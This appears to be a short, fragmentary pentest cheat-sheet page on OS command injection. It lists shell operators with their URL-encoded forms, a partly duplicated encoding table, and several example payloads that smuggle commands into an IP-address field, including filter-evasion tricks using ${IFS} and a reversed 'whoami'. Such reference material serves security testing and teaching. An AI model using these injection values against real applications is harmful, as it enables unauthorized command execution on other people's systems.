Command Injection

Command injection is a web security vulnerability that allows an attacker to execute arbitrary commands on the host operating system through a vulnerable application
. This occurs when an application passes unsafe user-supplied data to a system shell without sufficient validation or sanitization.

Tools

Command Injection Characters

Injection Operator Injection Character URL-Encoded Character Executed Command
Semicolon ; %3b Both
New Line \n %0a Both
Background & %26 Both (second output generally shown first)
Pipe | %7c Both (only second output is shown)
AND && %26%26 Both (only if first succeeds)
OR || %7c%7c Second (only if first fails)
Sub-Shell `` %60%60 Both (Linux-only)
Sub-Shell $() %24%28%29 Both (Linux-only)

See also,

Characters beyond ASCII (such as €, •, and smart quotes) have different representations in Windows-1252 but are often encoded differently in UTF-8.

Table

Character From Windows-1252 From UTF-8
space %20 %20
! %21 %21
" %22 %22
# %23 %23
' %27 %27
" %22 %22
# %23 %23
; %3B %3B
) %29 %29
. %2E %2E

Payloads

Path traversal

VulnLab—Path Traversal

Examples

127.0.0.1%0a{ls,-la}

127.0.0.1%0Als$%7BIFS%7D-la

$(rev<<<'imaohw')

Using curl

Enter your search text in the box above

Select a result to preview